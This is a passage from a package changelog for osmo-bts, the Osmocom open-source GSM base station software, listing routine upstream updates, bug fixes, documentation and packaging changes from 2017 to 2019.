+ * OML: Don't overwrite MO instance before oml_tx_failure_event_rep()
+ * OML: Ensure MOs are initialized with valid "Administrative State'
+ * OML: Return attributes in ACK/NACK messages
+
+-------------------------------------------------------------------
+Sat Feb 09 21:01:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.207:
+ * OML: some more comments on what functions do
+ * scheduler_trx: Fix erroneous multiply-by-four
+
+-------------------------------------------------------------------
+Wed Jan 30 21:01:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.205:
+ * doc/examples: Install OC2G config files with autotools
+ * systemd: Install OC2G service files with autotools
+
+-------------------------------------------------------------------
+Sun Jan 27 21:01:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.203:
+ * common/vty.c: fix 'cfg_phy_no_inst_cmd' command description
+
+-------------------------------------------------------------------
+Sun Jan 20 21:01:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.202:
+ * Bump version: 0.8.1.199-5c93-dirty → 1.0.0
+
+-------------------------------------------------------------------
+Fri Jan 18 21:01:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.8.1.201:
+ * dump_docs: Use new config file naming scheme
+ * Rename oc2g config file to match new naming scheme
+
+-------------------------------------------------------------------
+Sun Dec 23 21:01:50 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.199:
+ * osmo-bts-trx/loops.c: Make code control flow more readable
+ * osmo-bts-trx/loops.c: Use lchan name based logging
+ * osmo-bts-trx/loops.[ch]: Make functions "void" if they always return 0
+ * osmo-bts-trx/loops.c: Add comments documenting TA + MS power control loop
+ * rsl: Send PDCH ACT NACK if TCH chan is still active
+
+-------------------------------------------------------------------
+Tue Dec 18 21:01:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.194:
+ * sysmobts_mgr: Add support for gpsd < 2.96
+ * sysmobts_mgr: Prepare code for gpsd < 2.96 support
+
+-------------------------------------------------------------------
+Thu Dec 06 21:02:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.192:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:01:59 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.191:
+ * contrib/jenkins_*.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:02:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.190:
+ * bts-trx: (n)ack PDCH DEACT only after TRX answered SETSLOT
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+ * oc2g: Fix headers missing during make distcheck
+
+-------------------------------------------------------------------
+Tue Nov 27 21:02:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.187:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * OsmoBTS: Fix typo
+ * OsmoBTS: Print VTY command in fixed-width font
+ * bts: Fix typo
+ * vty-ref: Update URI of docbook 5.0 schema
+ * Introduce chapter trx_if.adoc and add it to OsmoTRX and OsmoBTS
+ * OsmoBTS: bts-models: Add Lime Microsystems devices as supported osmo-trx
+ * refactor Makefile build rules, don't use the FORCE
+ * Allow easily disabling GFDL references
+ * update osmo-bts-virtual documentation, now that code is merged
+ * rtp-amr: Fix typo and trailing whitespace
+ * rtp-amr: Describe requirement to recieve all PH-DATA.ind events
+ * OsmoBTS: Update osmotrx ip to diff between local and remote
+ * OsmoBTS/chapters/configuration.adoc: Add bts index in example
+ * Sync DTX FSM with OsmoBTS code
+ * Describe how to run multiple instances of osmo-nitb and osmo-bts
+ * BSC,BTS: add diagrams of PCU-BTS-NITB-SGSN relationships
+ * dynamic timeslots: add BSC level config instructions
+ * Add DTX implementation details to RTP AMR
+ * Move RTP AMR doc to top level
+ * rtp-amr.adoc: Fixes to Message Sequence Charts
+ * rtp-amr.adoc: New TCH/AHS downlink chapters
+ * rtp-amr: TCH/AHS Uplink: FACCH/H During DTX
+ * rtp-amr.adoc: TCH/AFS Downlink: Inhibiting
+ * rtp-amr.adoc: TCH/AFS Uplink
+ * Documentation on AMR RTP in case of DTX
+ * fix build: abis: re-add dependencies
+ * OsmoBTS/abis/rsl: split dyn TS ladder diagrams to fit on page
+ * OsmoBTS: generate osmobts-abis.pdf again
+ * fix 'make clean': shell glob, ignore failure
+ * OsmoBTS/abis/rsl: combine separate dyn ts sections
+ * add 'make check' target
+ * make clean: also remove generated image files
+ * OsmoBTS/abis/rsl: add missing info for Osmocom Dyn Channels
+ * OsmoBTS/abis/rsl: cosmetic: 'IPA style'
+ * OsmoBTS/chapters/configuration.adoc: fix index numbering
+ * osmobts-usermanual.adoc: fix link to abis.adoc chapter
+ * OsmoBTS/chapters/dynamic-timeslots.adoc: Remove obsolete links
+ * OsmoBTS/abis/rsl.adoc: fix missing section header
+ * OsmoBTS: add vty reference documentation
+ * OsmoBTS/abis/dyn_ts_osmocom_style.msc: adjust PDCH Act ack
+ * OsmoBTS/abis/rsl: fix subtitle for ladder diagram of osmo dyn switchover
+ * Add section about configuring power-ramping
+ * osmobts-abis: Add Revision log regarding dynamic cannels
+ * spelling: message discriminator, not descriminator
+ * Document dynamic channels on Abis, both IPA and Osmocom style
+ * OsmoBTS: hardware support: remove dup, tweak wording
+ * OsmoBTS: wording tweak
+ * OsmoBTS: typos
+ * abis/oml.doc: remove duplicate sentence part
+ * Add OsmoBTS control interface description
+ * fix various typos across all manuals
+ * OsmoBTS: explain IEs marked 'ignored' *and* 'Received'
+ * OsmoBTS: s/content of this attribute/this attribute/
+ * OsmoBTS: fix typos, streamline language style
+ * OsmoBTS: typo x2 ('Objects Classes' -> 'Object Classes')
+ * OsmoBTS: Fix the author name and mail address
+ * Add link to Asciidoc source code of manual
+ * initial checkin of manuals to public repo
+ * bts_model: Allow TS connect to be processed asynchronously
+
+-------------------------------------------------------------------
+Mon Nov 26 18:55:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.125:
+ * cosmetic: fix whitespace
+ * bts-trx: early return on POWERON success
+ * rsl: Avoid sending ipa PDCH DEACT NACK followed by ACK
+ * rsl: Log lchan state during dynts PDCH->TCH
+
+-------------------------------------------------------------------
+Thu Nov 22 19:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.121:
+ * Drop unused function
+ * Fix type mismatch
+ * Fix deprecated gsm_arfcn2band(), use gsm_arfcn2band_rc()
+ * common/vty.c: fix deprecated osmo_str2lower() usage
+ * bts: Fix TRX0 param initialization
+
+-------------------------------------------------------------------
+Tue Nov 20 19:11:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.116:
+ * bts-trx: Allow re-try without exit if POWERON fails in osmo-trx
+ * common: Implement OML for trx_set_available(1)
+ * bts-trx: setup timer once at creation time
+
+-------------------------------------------------------------------
+Mon Nov 19 18:32:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.113:
+ * add missing check of osmo_wqueue_enqueue() return value
+ * properly initialize si3 in test_is_ccch_for_agch_setup()
+ * bts-trx: trx_if: Use struct to store CTRL msg parsed responses
+ * osmo-bts-trx: print TRX socket addresses in 'show transceiver'
+
+-------------------------------------------------------------------
+Sun Nov 18 21:01:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.109:
+ * bts: Allocate TRX for BTS dynamically, deprecate -t
+ * prevent potential NULL dereference in virtbts's tx_tchh_fn
+
+-------------------------------------------------------------------
+Tue Oct 30 21:02:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.107:
+ * {oc2g,sysmo}-mgr-calib: Fix build against gpsd >= 3.18
+
+-------------------------------------------------------------------
+Sat Oct 27 20:01:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.106:
+ * Add OC-2G BTS sources
+
+-------------------------------------------------------------------
+Thu Oct 25 20:02:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.105:
+ * common/scheduler.c: track TDMA frame loss per logical channels
+
+-------------------------------------------------------------------
+Mon Oct 22 20:01:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.104:
+ * Convert lchan CCCH_LCHAN to chan_nr BCCH and viceversa
+ * gsm_pchan2chan_nr: Fix conversion of CCCH_LCHAN
+
+-------------------------------------------------------------------
+Sun Oct 21 17:24:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.102:
+ * scheduler_trx.c: Switch to osmo_timerfd() of libosmocore >= 0.12.0
+
+-------------------------------------------------------------------
+Wed Oct 10 20:01:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.101:
+ * rsl_rx_chan-activ: Improve logging information
+ * l1sap: Log name of chan_nr instead of hex value
+ * lchan_meas_check_compute: Log value during incorrect num of SUB measurementes detected
+
+-------------------------------------------------------------------
+Sun Oct 07 18:23:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.98:
+ * common/pcu_sock.c: cosmetic: explicitly address lchan
+
+-------------------------------------------------------------------
+Thu Oct 04 20:01:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.97:
+ * abis: inp_s_cbfn: Improve logging signal related information
+
+-------------------------------------------------------------------
+Sun Sep 30 20:01:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.96:
+ * sysmo, virtual: properly handle BS-AG-BLKS-RES as received from BSC
+ * Fix computing CCCH block number from frame number
+ * paging_test: Fix AGCH/PCH split test for second half of 102 multiframe
+ * contrib/jenkins_*.sh: drop rudimentary '--with-osmo-pcu'
+
+-------------------------------------------------------------------
+Wed Sep 26 20:01:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.92:
+ * vty: mark 'rtp bind-ip' deprecated, not hidden
+
+-------------------------------------------------------------------
+Tue Sep 25 20:02:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.91:
+ * lc15bts_mgr_vty: Ensure writing well-formed config files
+ * ensure all config file examples are well-formed
+
+-------------------------------------------------------------------
+Fri Sep 21 20:01:59 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.89:
+ * lc15: led_sleep_cb: pass correct ptr to llist_move_tail
+
+-------------------------------------------------------------------
+Wed Sep 19 20:01:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.88:
+ * common/rsl.c: tweak log message in lapdm_rll_tx_cb()
+ * CBCH: Some more scheduler_mframe cleanup
+
+-------------------------------------------------------------------
+Tue Sep 18 20:01:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.86:
+ * CBCH: Fix CBCH implementation for osmo-bts-trx
+
+-------------------------------------------------------------------
+Mon Sep 17 20:02:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.85:
+ * CBCH: sprinkle some OMSO_ASSERT() and guard against talloc failure
+ * CBCH: Add FIXME comments on queue overflow/underflow handling
+ * get_lchan_by_chan_nr(): Fix resolution of CBCH
+ * CBCH: Fix CBCH via L1SAP for osmo-bts-{sysmo,octphy,litecell15}
+ * l1sap/scheduler: Consistently print chan_nr as hex number
+
+-------------------------------------------------------------------
+Sun Sep 16 20:02:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.80:
+ * lc15: rewrite and refactor code to print hwversion description
+ * lc15: fsync requires fd instead of file stream
+ * lc15: vty: Add missing include for lchan_deactivate
+ * osmo-bts-trx/l1_if.c: cosmetic: fix typo in debug msg
+
+-------------------------------------------------------------------
+Sat Sep 15 20:01:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.76:
+ * doc/examples/Makefile: Install bts-mgr cfg files used by systemd services
+
+-------------------------------------------------------------------
+Thu Sep 13 18:42:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.75:
+ * measurement: fix unit-test test_lchan_meas_process_measurement
+ * measurement: remove missed interval end detection
+ * cosmetic: fix typo in comment
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Tue Sep 11 20:02:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.70:
+ * fix handling of odd pchans in bts_supports_cm()
+ * log: add error log for RSL Chan Mode Modif
+ * fix RSL Chan Mode Modif for dyn TS
+
+-------------------------------------------------------------------
+Sun Sep 09 20:01:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.67:
+ * CBCH: Use llist_first_entry_or_null() instead of reinventing it
+ * CBCH: Implement CBCH support for osmo-bts-{trx,virtual}
+ * CBCH: Move processing via L1SAP
+ * [sysmo,lc15]: Consider CBCH channel combinations in chan_nr_by_sapi()
+ * CBCH: Fix rejecting SMS-CB related RSL messages
+
+-------------------------------------------------------------------
+Thu Sep 06 20:02:04 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.62:
+ * Move systemd service to contrib/systemd
+ * measurement: display fn_mod when measuremnet is added
+
+-------------------------------------------------------------------
+Fri Aug 31 20:01:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.60:
+ * paging: add unit-test to check different bs_ag_blks_res settings
+
+-------------------------------------------------------------------
+Thu Aug 30 20:01:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.59:
+ * measurement: add SUB measurements in test_lchan_meas_process_measurement
+ * measurement: substitue missing measurements
+
+-------------------------------------------------------------------
+Wed Aug 29 20:02:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.57:
+ * cosmetic: test_is_meas_overdue() does not test is_meas_complete()
+ * cosmetic: rename *_meas_rep_fn10* to *_meas_rep_fn10*_by_*s
+ * measurement: fix is_meas_overdue() and increase testcoverage
+ * measurement: add unit tests for ts45008_83_is_sub()
+ * measurement: fix sub frame table for TCH/H, SS1
+ * measurement: add unit tests for is_meas_complete()
+
+-------------------------------------------------------------------
+Tue Aug 28 20:02:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.51:
+ * fix ip.access dyn TS for osmo-bts-trx
+ * cosmetic: remove wrong comment
+ * cosmetic: fix sourcecode formatting
+
+-------------------------------------------------------------------
+Sat Aug 25 20:01:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.48:
+ * cosmetic: abis.c: typo "exixt"
+
+-------------------------------------------------------------------
+Fri Aug 24 12:14:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.47:
+ * osmo_mcast_sock: make sure SO_REUSEADDR is applied
+
+-------------------------------------------------------------------
+Thu Aug 23 20:01:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.46:
+ * Revert "send TCH/F fill frames in DTX mode (WIP)"
+
+-------------------------------------------------------------------
+Wed Aug 22 20:01:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.45:
+ * measurement: fix measurement interval end detection
+ * send TCH/F fill frames in DTX mode (WIP)
+ * fix conditions for sending fill frames during RTS IND
+
+-------------------------------------------------------------------
+Tue Aug 21 20:02:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.42:
+ * measurement: make sure measurement interval end is detected
+ * measurement: make sure state is reset on chan act.
+
+-------------------------------------------------------------------
+Fri Aug 17 20:04:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.40:
+ * cosmetic: unify measurement sample handling in one function
+ * fix timespec subtraction in compute_elapsed_us()
+ * cosmetic: separate measurement testcase definitions
+
+-------------------------------------------------------------------
+Mon Aug 06 20:02:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.37:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Thu Aug 02 20:01:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.36:
+ * Clarify frame loss counter for l1sched_chan_state
+
+-------------------------------------------------------------------
+Wed Jul 25 20:02:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.35:
+ * preserve lchan-specific SI overrides on SACCH FILL
+
+-------------------------------------------------------------------
+Tue Jul 24 20:02:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.34:
+ * update sysinfo copies in all lchans upon SACCH FILL
+
+-------------------------------------------------------------------
+Sat Jul 21 20:02:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.33:
+ * trx: scheduler: Keep RTP clock up to date while in DTXu pause
+ * scheduler: Log error on fn jump
+ * sched: Log RX->RTP packet like we do in add_l1sap_header
+ * l1sap: add_l1sap_header: Compact msgb_push ret assignment
+
+-------------------------------------------------------------------
+Mon Jul 16 20:01:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.29:
+ * rsl: Use value_string to print encryption algo name
+
+-------------------------------------------------------------------
+Tue Jul 03 20:01:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.28:
+ * debian: Create dbg package for osm-bts-virtual
+ * debian: Make osmo-bts-* packages conflict with old osmo-bts package
+ * Remove unneeded direct libortp dependency
+
+-------------------------------------------------------------------
+Mon Jul 02 20:01:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.25:
+ * debian: Package installed example doc files
+ * build: Install example cfg files
+ * doc: Move calypsoBTS example into trx subdir
+
+-------------------------------------------------------------------
+Fri Jun 29 20:01:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.22:
+ * Add min/max/std-dev measurement reporting for TOA256
+
+-------------------------------------------------------------------
+Thu Jun 28 20:02:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.21:
+ * octphy: add support for 16x oversampling mode
+
+-------------------------------------------------------------------
+Mon Jun 25 20:01:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.20:
+ * log reception of PCU_IF_MSG_PAG_REQ messages from osmo-pcu
+
+-------------------------------------------------------------------
+Fri Jun 22 20:01:50 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.19:
+ * jenkins_*.sh: add --enable-werror to configure flags
+ * sysmo: calib_file.c: Avoid decl of unused vars and funcs with femtobts_v2.7 build
+ * sysmo: l1_if.c: Avoid decl of unused vars and funcs with femtobts_v2.7 build
+ * sysmo: l1if_mute_rf: Declare vars inside ifdef section
+ * sysmo: Fix memcmp in RF-MUTE.req for superfemto < 3.6.0
+ * sysmo: vty: Add missing include for lchan_deactivate
+ * l1_if.c: Move decl of vars used in conditional macro
+
+-------------------------------------------------------------------
+Fri Jun 15 20:02:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.12:
+ * pcu_sock: Log event pcu_sock created
+
+-------------------------------------------------------------------
+Mon Jun 11 20:01:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.11:
+ * lc15: Fix incorrect cast of hLayer1
+
+-------------------------------------------------------------------
+Sun Jun 10 20:01:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.10:
+ * lc15: Use correct type for hLayer1 field
+
+-------------------------------------------------------------------
+Sat Jun 09 20:01:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.9:
+ * Send DELETE_IND when dropping Imm Assign pending message
+
+-------------------------------------------------------------------
+Fri Jun 08 20:01:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.8:
+ * compact AGCH queue: Drop too msg diff than IMM_ASS_REJ
+ * bts_agch_enqueue: Decrease queue len hard_limit from 1000 to 100
+ * bts.c: Add missing include for gsm48_rr_msg_name
+
+-------------------------------------------------------------------
+Thu Jun 07 20:01:50 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.5:
+ * bts.c: Log name of RR msg type instead of value
+
+-------------------------------------------------------------------
+Fri May 25 20:02:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.4:
+ * rtp: make port range configurable, assign correct port numbers
+
+-------------------------------------------------------------------
+Thu May 24 20:02:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.3:
+ * scheduler_trx: Add reminders to use libosmocore functions
+ * cosmetic: it's n_r in check_for_first_ciphrd(), not n_s
+
+-------------------------------------------------------------------
+Wed May 16 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.1:
+ * let osmo-bts log a special notice if OML connection is closed early
+
+-------------------------------------------------------------------
+Tue May 15 20:02:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.1.0:
+ * Bump version: 0.8.0.16-6a9a → 0.8.1
+
+-------------------------------------------------------------------
+Thu May 10 20:02:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.0.16:
+ * rsl: If CHAN ACT or MODE MODIF fails, send respective NACK
+ * osmo-bts-trx: Enable A5/3 cipher support
+ * dyn TS: be less strict on chan_nr, to allow arbitrary pchan switches
+
+-------------------------------------------------------------------
+Wed May 09 20:02:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.0.13:
+ * ignore RSL RF CHAN REL for inactive lchans
+ * fix RSL Chan Activ Nack messages
+ * ip.access dyn ts: properly NACK a PDCH ACT on a still active lchan
+ * add/improve various logging around dyn ts
+ * rsl: log errors when parsing of encryption information fails
+ * rsl: Make channel activation fail if encryption algorithm not supported
+ * rsl: Properly NACK CHAN_ACKT / MODE_MODIFY
+
+-------------------------------------------------------------------
+Tue May 08 20:02:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.0.6:
+ * send a State Changed Event Report when rf is locked/unlocked
+
+-------------------------------------------------------------------
+Sun May 06 20:02:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.0.5:
+ * cosmetic: dyn TS: clarify rsl_tx_rf_rel_ack() with a switch
+ * dyn TS: fix TCH/F_TCH/H_PDCH: properly record release of PDCH TS
+ * dyn TS: rx_rf_chan_rel: properly mark PDCH rel when no PCU, clarify
+ * dyn TS: clear TCH state upon reconnecting as PDCH
+ * cosmetic: dyn TS: clarify chan_nr composition
+
+-------------------------------------------------------------------
+Thu May 03 20:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.8.0.0:
+ * Bump version: 0.7.0.183-c45a-dirty → 0.8.0
+
+-------------------------------------------------------------------
+Wed May 02 20:02:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.7.0.183:
+ * scheduler_trx: Fix signed integer overflow in clock calculations
+
+-------------------------------------------------------------------
+Mon Apr 23 20:02:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.7.0.182:
+ * cosmetic: fix typos in src/common/oml.c
+ * return NACK codes instead of errno values from oml_tx_attr_resp()
+ * gsm_data_shared.h: Remove unused enum gsm_paging_event
+
+-------------------------------------------------------------------
+Thu Apr 19 20:02:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.7.0.179:
+ * respond with NACK for non-hopping BTS with multiple ARFCN
+
+-------------------------------------------------------------------
+Tue Apr 17 20:02:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.7.0.178:
+ * osmo-bts-trx: perform error concealment for FR frames
+ * Include missing headers for osmo_init_logging2
+ * common/sysinfo.c: Fix no return on on-void function
+
+-------------------------------------------------------------------
+Mon Apr 09 09:02:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.7.0.175:
+ * octphy: integrate octasics latest header release
+
+-------------------------------------------------------------------
+Sun Apr 8 07:54:38 UTC 2018 - mardnh@gmx.de
+
+- Add subpackage for osmo-bts-omldummy
+
+-------------------------------------------------------------------
+Sat Apr 07 18:52:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.7.0.174:
+ * Get rid of 'struct gsm_bts_role_bts'
+ * virtual: Correctly set+report BTS variant in OML attributes
+ * Add 'osmo-bts-omldummy' to bring up only OML without RSL
+ * fix inverted logic bug in omldummy patch
+ * omldummy: Suppress RSL transmission errors
+ * debian: Split osmo-bts-virtual from osmo-bts-trx
+ * l1sap: Avoid assumption that l1sap is at head of msgb
+ * cosmetic: remove dead code
+ * cosmetic: remove unused variable
+ * cosmetic: remove unused variable in osmo-bts-omldummy/main.c
+ * osmo-bts-sysmo eeprom.c Restore ability to read/write EEPROM
+ * use osmo_init_logging2() with proper talloc ctx
+ * fox chan_nr_is_dchan() for RSL_CHAN_OSMO_PDCH
+ * rsl_tx_dyn_pdch_ack: Add missing FRAME_NR information element
+ * fix activation of osmocom-style dynamic PDCH as TCH/F or TCH/H
+ * contrib: jenkins_bts_model: Fix bashism expr
+
+-------------------------------------------------------------------
+Sat Mar 17 21:51:33 UTC 2018 - mardnh@gmx.de
+
+- Create subpackage for osmo-bts-virtual
+
+-------------------------------------------------------------------
+Sat Mar 17 12:55:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.7.0.158:
+ * cosmetic: Move agch_queue to sub-structure of gsm_bts_role_bts
+
+-------------------------------------------------------------------
+Sat Mar 17 12:11:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.7.0.157:
+ * gsm_data_shared: Remove unused definitions/members/functions
+
+-------------------------------------------------------------------
+Wed Mar 14 21:30:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.7.0.156:
+ * l1_tch: remove dead code
+ * common/vty.c: remove unused variables
+ * fix handover: handle_ph_ra_ind(): evaluate ra_ind before msgb_trim()
+ * sysinfo.c: SI1 is optional; Send SI2 at TC=0 if no SI1 exists
+ * sysmobts: Compatibility with older firmware versions
+ * implement support for 3-digit MNC with leading zeros
+ * cosmetic: Document some SI scheduling related function API
+ * sysinfo: Fix scheduling of downlink SACCH information
+ * configure: add --enable-werror
+ * common/main.c: track talloc NULL contexts by default
+
+-------------------------------------------------------------------
+Sun Feb 25 09:42:23 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.7.0.110
+
+-------------------------------------------------------------------
+Mon Feb 19 16:30:27 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.7.0.83
+
+-------------------------------------------------------------------
+Sat Feb 10 20:34:45 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Sat Feb 10 16:17:25 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.7.0.77
+
+-------------------------------------------------------------------
+Thu Jan 25 18:49:43 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.7.0.59
+- Remove patch:
+ * osmo-bts-fix-cflags.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Wed Jan 24 13:03:50 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.7.0.56
+- Remove patch (included upstream):
+ * 0001-l1sap-fix-wrong-return-value-of-is_fill_frame.patch
+
+-------------------------------------------------------------------
+Mon Jan 1 21:18:08 UTC 2018 - jengelh@inai.de
+
+- Remove unnecessary sysvinit script macros.
+
+-------------------------------------------------------------------
+Fri Dec 29 14:03:59 UTC 2017 - mardnh@gmx.de
+
+- Remove handcrafted CFLAGS
+- Add patch:
+ * 0001-l1sap-fix-wrong-return-value-of-is_fill_frame.patch
+
+-------------------------------------------------------------------
+Wed Dec 27 22:43:49 UTC 2017 - mardnh@gmx.de
+
+- Update to new upstream release 0.7.0
+ * No changelog was provided
+- Specfile cleanup
+- Add patch
+ * osmo-bts-fix-cflags.patch
+
+-------------------------------------------------------------------
+Wed Feb 15 09:22:22 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1487093487.6b4c6aa:
+ * Log socket path on error
+ * Add Abis OML failure event reporting
+ * Alarm on various errors
+ * RSL: drop obsolete NULL check
+ * RSL: add assertions to check args of public API
+ * OML: fix possible segfault: add NULL check in oml_ipa_set_attr()
+ * CTRL: make the CTRL-Interface IP address configurable
+ * Remove obsolete define TLVP_PRES_LEN
+ * DTX: fix SID-FIRST detection
+ * scheduler: log lchan on which prim error occured
+ * lc15,sysmobts l1_if: fix memleak in handle_mph_time_ind()
+ * l1sap: Fix expired rach slot counting
+ * l1sap: fix missing 'else's causing wrong rach frame expiry counts
+ * deb: use gsm_data_shared.* from openbsc-dev
+ * octphy: set tx attenuation via VTY
+ * Revert "deb: use gsm_data_shared.* from openbsc-dev"
+ * debian: Use the header files installed by openbsc-dev
+ * build: Do not require more headers from OpenBSC
+ * OML: internalize failure reporting
+ * Add ctrl command to send OML alert
+ * octphy VTY: fix vty write output for octphy's phy section
+ * cosmetic: Remove stray newlines in octphy_vty.c
+ * sysmo,lc15: fix memory leak at each call placed
+ * cosmetic: remove stray newline in octphy's l1_oml.c
+ * DTX: fix "unexpected burst" error
+ * rsl: Fix dropping of LAPDm UA message.
+ * Fix AMR HR DTX FSM logic.
+ * octphy: Improve OML ADM state handling
+ * sysmobts: Add correct nominal transmit power for sysmoBTS 1020
+ * sysmobts_eeprom.h: Fix/extend model number definitions
+ * Fix SACCH channel release indication not sent to BSC after location update.
+ * Revert "sysmobts: Add correct nominal transmit power for sysmoBTS 1020"
+ * tx_power: various cosmetic fixes in comments
+ * tx_power: Change PA calibration tables to use delta vales
+ * Add new unit-test for transmit power computation code
+ * fix missing ~ in bit logic for lchan->si.valid in rsl_rx_sacch_inf_mod()
+ * SACCH: fix sending of SI with an enum value > 7
+ * SACCH SI: assert that SI enum vals fit in bit mask
+ * all models: fix vty write: bts_model_config_write_phy
+ * cosmetic: lchan_sacch_get: early-exit instead of nested-if
+ * rsl: Output RTP stats before closing the socket.
+ * osmo-trx-bts: Fix incorrect setting of RXGAIN and POWER parameters on second channel (TRX1) of osmo-trx
+ * osmo-trx-bts: Fix osmo-bts-trx crash on startup during reading phy instance parameters from config file
+ * Fix typo in TCH/H interleaving table
+ * osmo-trx-bts: Fix incorrect bts shutdown procedure in case of abis connection closure
+ * sysmobts: fully support trx_power_params
+
+-------------------------------------------------------------------
+Fri Jan 06 20:30:24 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.4.0.git1483701882.2cf6b73:
+ * Move code to libosmocore
+
+-------------------------------------------------------------------
